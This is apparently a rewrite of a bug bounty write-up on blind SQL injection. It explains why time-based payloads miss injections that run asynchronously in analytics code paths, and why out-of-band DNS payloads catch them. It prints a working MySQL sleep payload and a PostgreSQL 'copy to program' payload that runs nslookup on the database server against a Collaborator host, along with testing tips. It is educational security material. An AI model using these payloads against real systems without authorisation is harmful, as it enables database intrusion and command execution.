Super Blind SQL Injection- $20000 bounty | Thousands of targets still vulnerable
The author explains that time-based blind SQL injection payloads can fail to detect vulnerabilities when the vulnerable query is executed asynchronously, such as when user input is stored and later processed in a background job. Using out-of-band (OAST) payloads that trigger DNS interactions, they found many SQL injections that time-based payloads missed, earning $20,000 in bounties.
Published on medium.com
So I start loving SQL Injections, to improve my knowledge more I revisit the portswigger labs of sqli.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up is about a detection gap in blind SQL injection testing rather than a single application feature. The researcher, Priyanshu Shakya (@pranshux0x), revisits the PortSwigger Web Security Academy lab Blind SQL injection with out-of-band interaction, in which the application uses a tracking cookie for analytics. The lab description states that the application uses a tracking cookie for analytics and that the lab contains a blind SQL injection vulnerability.
The central observation is that a time-based payload that reliably detects SQL injection elsewhere does not solve this lab, while an out-of-band (OAST) payload does. The researcher then applies that lesson to bug bounty hunting and reports earning $20,000 in one month using only OAST-based SQL injection payloads.

Setup
The work is done against PortSwigger Web Security Academy labs and then against live bug bounty targets. The payloads reference a Burp Collaborator subdomain for OAST interaction, and the researcher reviewed other hackers' Intruder payload wordlists. No specific versions, accounts or roles are given.
The precondition for the technique is that the injected query is executed in a way that does not affect the timing of the response the tester receives, for example asynchronously or in a separate code path such as analytics logging.
Finding it
The researcher started from a time-based payload shared by Kanhaiya Sharma in a tweet:
XOR(if(now()=sysdate(),sleep(5),0))XOR
This payload had solved many PortSwigger labs and had been used to find many SQL injections. However, the out-of-band lab was not solved by time-based payloads. The reasoning was straightforward: if the code is vulnerable to SQL injection, a time-based payload should work. The researcher asked many other hackers in the community, including experienced ones, and everyone said it was impossible for a time-based payload not to detect SQL injection.
The researcher then reviewed other hackers' Intruder SQL injection payload wordlists and found that none of them used out-of-band (OAST) technique payloads. That raised the question of why the time-based payload failed, and the answer was found in the PortSwigger study material:
An application might carry out the same SQL query as the previous example but do it asynchronously. The application continues processing the user's request in the original thread, and uses another thread to execute a SQL query using the tracking cookie. The query is still vulnerable to SQL injection, but none of the techniques described so far will work.
The researcher explains this with an analogy to blind XSS. A request such as:
https://example.com/?q={sqli}
is processed securely with a parameterised query and the response is returned. The value of q is then saved to the database, perhaps for analytics, and that second code path is vulnerable to SQL injection. A time-based payload will never detect this because the response arrives in normal time. An OAST payload will produce a DNS interaction and reveal the vulnerability. The PostgreSQL OAST payload used is:
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
Exploitation
Step 1: Confirm the time-based payload works elsewhere
The payload below solved many PortSwigger labs and was used to find many SQL injections:
XOR(if(now()=sysdate(),sleep(5),0))XOR
A delay in the response indicates that the injected SQL was executed in the request path.
Step 2: Observe the failure on the out-of-band lab
The same payload did not solve the lab Blind SQL injection with out-of-band interaction. The lab was not solved by time-based payloads even though it is vulnerable. This is the anomaly that drove the rest of the research.
Step 3: Switch to an OAST payload
The payload that solved the lab was:
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
The report gives this as the PostgreSQL OAST payload. The interaction confirms that the injected SQL ran, regardless of whether the HTTP response was delayed.
Step 4: Apply the technique while hunting
The researcher then hunted with OAST SQL injection payloads and found many SQL injections that could not be found with time-based payloads. The total bounty earned with only OAST-based SQL injection was $20,000 in one month.
Root cause
The vulnerability is SQL injection in a second code path, such as analytics logging, that runs separately from the query producing the response. The PortSwigger material describes the case where the application continues processing the user's request in the original thread and uses another thread to execute a SQL query using the tracking cookie. The query is still vulnerable, but the techniques described up to that point, including time-based inference, do not work.
Existing defences did not stop it because the parameterised query on the main request path is not the vulnerable path. In the researcher's example, the value is later reused in a second query, for example for analytics, and that query is vulnerable. The report does not show the server-side code, so the exact construction is not stated.
Impact
An attacker who identifies such a code path can confirm and exploit SQL injection that time-based testing misses. The researcher reports finding many such injections and earning $20,000 in one month from OAST-based SQL injection alone. The impact depends on the privileges of the database user executing the asynchronous query and on what the attacker can do with the injected statement. The report does not enumerate specific data or systems affected.
Fix
No fix is described in the report. The implied remediation is to apply parameterised queries consistently to every code path that handles user input, including asynchronous and analytics queries, not only the main request handler.
Variants to test
- Send the PostgreSQL OAST payload in parameters that are likely logged or used for analytics, such as tracking cookies. A positive result is a DNS interaction in Burp Collaborator.
- Send the time-based payload and the OAST payload to the same parameter and compare. A positive OAST result with no time delay indicates an asynchronous or out-of-band code path.
- Test other database-specific OAST payloads from the PortSwigger SQL injection cheat sheet against targets running other database engines. A positive result is an out-of-band interaction from the target.
- Review your Intruder wordlists and add OAST payloads alongside time-based ones, since the researcher found that none of the wordlists reviewed included them.
What happened, in plain words
A security researcher named Priyanshu Shakya (@pranshux0x) was practising on PortSwigger Web Security Academy, a website that teaches people how to find security bugs using deliberately broken practice applications called labs. One particular lab is called Blind SQL injection with out-of-band interaction. The lab's own description says the application uses a tracking cookie for analytics and that the lab contains a blind SQL injection vulnerability.
The surprise was this: a well-known test that normally reveals SQL injection by making the website slow down did not work on that lab at all. A different test, an out-of-band payload, did work. The researcher worked out why, then went hunting on real bug bounty programmes with that second kind of test and reports earning $20,000 in one month using only that technique.
This article walks through the same story from zero: what SQL injection is, what the two kinds of test do, why one can fail while the other succeeds, and how to try it yourself.

The ideas you need first
Before the story makes sense, here are the concepts it relies on, each explained as simply as possible.
What a database is
A database is a program that stores information in an organised way, like a very large, very strict spreadsheet. A website's database might hold user accounts, orders, comments, or analytics records about who visited which page. Websites almost never show the database directly; they ask it questions on your behalf.
What a query is
A query is a question written in a language the database understands, usually SQL (Structured Query Language). A simple one looks like SELECT name FROM users WHERE id = 5. The website builds these questions and sends them to the database, then shows you the answer.
What SQL injection is
SQL injection happens when a website takes something you typed or sent (a search term, a cookie value, a URL parameter) and glues it straight into a database query without cleaning it up. If you send clever text instead of a normal value, your text becomes part of the question the database runs. That lets an attacker change the question, for example to read other people's data or make the database do something else.
A useful comparison: imagine a form that says "write your name" and a clerk who copies whatever you write into an official letter. If you write your name plus an extra sentence instructing the clerk to also post the letter to your own address, and the clerk blindly copies it, you have injected an instruction. SQL injection is the same trick, aimed at a database.
What a blind SQL injection is
Sometimes the website never shows you the database's answer. You send an injection and the page looks exactly the same either way. This is called blind because you cannot see the result directly. Testers then use indirect signals to tell whether their injected code ran.
What a time-based test is
One indirect signal is time. You inject code that says: if this condition is true, make the database wait five seconds before answering. If the page takes noticeably longer to load, you know your code ran inside the database. If it loads at normal speed, you assume it did not. This is called time-based blind SQL injection, and it is one of the most popular ways to detect blind SQL injection.
What an out-of-band (OAST) test is
Another indirect signal is a message sent somewhere else entirely. Out-of-band means the evidence does not come back in the web page at all; it arrives through a separate channel. OAST stands for Out-of-band Application Security Testing. The tester runs a small server they control (Burp Collaborator is a common one) and injects code that tells the target's database to look up a unique name that only the tester's server can answer. When the tester's server receives that lookup, they know the injected code executed, even if the web page looked completely normal.
A comparison: instead of waiting to see if a shop assistant is slow, you slip a note into the paperwork asking them to phone a number you own. When your phone rings, you know the note was read, no matter how quickly the shop assistant served you at the counter.
What a cookie is
A cookie is a small piece of text a website asks your browser to store and send back with every request. It is how a site remembers you between page loads, for example keeping you logged in or recording analytics about your visit. Because cookies travel with every request, they are a common place for injection bugs: the site may trust them more than it should.
What a proxy and Burp Suite are
A proxy sits between your browser and the website and lets you see and edit every request and response. Burp Suite is a popular proxy tool for security testing. It includes Burp Collaborator (the server that catches out-of-band signals) and Intruder (a tool that sends a list of test payloads automatically, one after another).
What a payload is
A payload is the specific piece of text you inject to test for a bug. Testers keep lists of payloads, called wordlists, and run them through tools like Intruder to try many at once.
What a bug bounty is
A bug bounty programme is a scheme where companies pay researchers for reporting security bugs responsibly. The researcher in this story reports earning $20,000 in one month from bug bounty payouts using only the out-of-band technique.
The starting point: a payload that usually works
The researcher began with a time-based payload shared by Kanhaiya Sharma in a tweet:
XOR(if(now()=sysdate(),sleep(5),0))XOR
Line by line, in plain words:
XORis a logical operator meaning "exclusive or". It is used here to splice the injected expression into the surrounding query so the query still makes sense to the database.if(now()=sysdate(),sleep(5),0)is a conditional: if the current time equals the current date-and-time (a condition that is effectively always true), then runsleep(5), otherwise return0.sleep(5)tells the database to pause for five seconds.- The trailing
XORcloses the splice so the rest of the original query still parses.
In short: "if this runs, the database will pause for five seconds, and you will notice the page is slow." This payload had solved many PortSwigger labs and had been used to find many real SQL injections.
The puzzle: it did not work on one lab
The same payload did not solve the lab Blind SQL injection with out-of-band interaction, even though the lab is vulnerable to SQL injection by design.
The researcher's reasoning was simple: if code is vulnerable to SQL injection, a time-based payload should work. So they asked many other hackers in the community, including very experienced ones, and everyone said it was impossible for a time-based payload not to detect SQL injection.
Next, the researcher looked through other hackers' Intruder wordlists of SQL injection payloads and found that none of them included out-of-band (OAST) payloads. That raised two questions: why did the time-based payload fail, and could there be real targets in the wild that are vulnerable but invisible to everyone using only time-based tests?
The answer, from the PortSwigger study material
The researcher went back to the PortSwigger SQL injection learning material and found the explanation, quoted here:
An application might carry out the same SQL query as the previous example but do it asynchronously. The application continues processing the user's request in the original thread, and uses another thread to execute a SQL query using the tracking cookie. The query is still vulnerable to SQL injection, but none of the techniques described so far will work.
In plain words: the website handles your request on one path and sends you the page quickly. Separately, in the background, it runs another database query using your cookie, for example to record analytics. That background query is the vulnerable one. Because it runs on a different path, making it sleep does not slow down the page you are waiting for. Your time-based test sees a normal response and wrongly concludes there is no bug.
An everyday comparison
The researcher compares it to blind XSS, another bug class where the effect shows up somewhere you are not looking. Imagine you send a request like this:
https://example.com/?q={sqli}
Line by line:
https://example.com/is the website address.?q=starts the query string, the part of a URL that carries parameters.{sqli}is a placeholder for whatever injection text you send as the value of the parameter namedq.
The server processes q securely with a parameterised query and returns your page. But then it saves the value of q to the database, perhaps for analytics, and that second query is built in a way that allows injection. A time-based payload will never reveal this, because your page still arrives on time. An out-of-band payload will, because the database makes a network lookup that reaches the tester's server.
The payload that did work
The out-of-band payload used for PostgreSQL (a popular open-source database) is:
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
Line by line, in plain words:
copyis a PostgreSQL command that normally moves data between the database and files or programs.(SELECT '')is a query that returns an empty string; it is there becausecopyexpects something to copy.to programtells PostgreSQL to run an operating system command on the database server.'nslookup BURP-COLLABORATOR-SUBDOMAIN'is that command.nslookupis a standard tool that asks the internet's domain name system (DNS) to translate a name into an address.BURP-COLLABORATOR-SUBDOMAINis a placeholder for the unique subdomain Burp Collaborator gives you.
When the injected query runs, the database server performs a DNS lookup for the Collaborator subdomain. That lookup reaches Burp Collaborator, which records it. The tester sees the interaction and knows the injected SQL executed, regardless of how fast the web page came back.
Hunting with the new technique
With the out-of-band payload in hand, the researcher hunted on real bug bounty targets and found many SQL injections that could not be found with time-based payloads. The total bounty earned using only OAST-based SQL injection was $20,000 in one month.
Why the bug exists, and what it means
The vulnerability is SQL injection in a second code path, such as analytics logging, that runs separately from the query producing the web page. The PortSwigger material describes exactly this: the application keeps processing the user's request on the original path and uses another path to run a query with the tracking cookie. The query is still vulnerable, but the techniques described up to that point, including time-based inference, do not work.
Existing defences did not stop it because the safe, parameterised query on the main request path is not the vulnerable one. In the researcher's example, the value is reused later in a second query, for example for analytics, and that query is vulnerable. The report does not show the server-side code, so the exact construction is not stated.
For impact: an attacker who finds such a code path can confirm and exploit SQL injection that time-based testing misses. How much damage is possible depends on the privileges of the database user running the background query and on what the attacker can do with the injected statement. The report does not list specific data or systems affected.
How to fix it
The report does not describe a fix. The implied remedy is to apply parameterised queries consistently to every code path that handles user input, including asynchronous and analytics queries, not only the main request handler.
Things to try yourself
- Send the PostgreSQL out-of-band payload in parameters that are likely logged or used for analytics, such as tracking cookies. A positive result is a DNS interaction in Burp Collaborator.
- Send the time-based payload and the out-of-band payload to the same parameter and compare. A positive out-of-band result with no time delay points to an asynchronous or out-of-band code path.
- Test other database-specific out-of-band payloads from the PortSwigger SQL injection cheat sheet against targets running other database engines. A positive result is an out-of-band interaction from the target.
- Review your Intruder wordlists and add out-of-band payloads alongside time-based ones, since the researcher found that none of the wordlists reviewed included them.
Glossary
- SQL: Structured Query Language, the language used to ask questions of a database.
- Query: a question sent to a database, written in SQL.
- Database: a program that stores and organises data for a website or application.
- SQL injection: a bug where user input is glued into a database query, letting an attacker change the query.
- Blind SQL injection: SQL injection where the website does not show the database's answer, so the tester must rely on indirect signals.
- Time-based blind SQL injection: a detection method that makes the database pause and measures whether the page got slower.
- Out-of-band (OAST): a detection method where the evidence arrives through a separate channel, such as a DNS lookup to a server the tester controls.
- DNS: the internet's naming system that translates names like example.com into addresses.
- Cookie: a small piece of text a website asks your browser to store and send back with each request, used for things like logins and analytics.
- Analytics: records a website keeps about visits and behaviour, often stored in a database.
- Parameterised query: a way of building a database query where user input is treated strictly as data, never as code, which prevents SQL injection.
- Asynchronous: work that happens in the background, separately from the main request, so it does not affect how fast the page is returned.
- Payload: the specific text a tester injects to test for a bug.
- Wordlist: a list of payloads that a tool tries one after another.
- Proxy: a tool that sits between your browser and a website so you can see and edit requests and responses.
- Burp Suite: a popular proxy tool for security testing.
- Burp Collaborator: a Burp Suite feature that gives you a server to catch out-of-band signals such as DNS lookups.
- Intruder: a Burp Suite tool that sends a list of payloads automatically.
- PortSwigger Web Security Academy: a website with deliberately vulnerable practice applications (labs) and learning material.
- Lab: a practice application on the Academy designed to contain a specific bug.
- PostgreSQL: a popular open-source database system.
- Bug bounty: a scheme where companies pay researchers for responsibly reporting security bugs.
- XSS: cross-site scripting, a bug where an attacker gets their own code to run in another user's browser; blind XSS is the variant where the effect appears somewhere the attacker is not looking.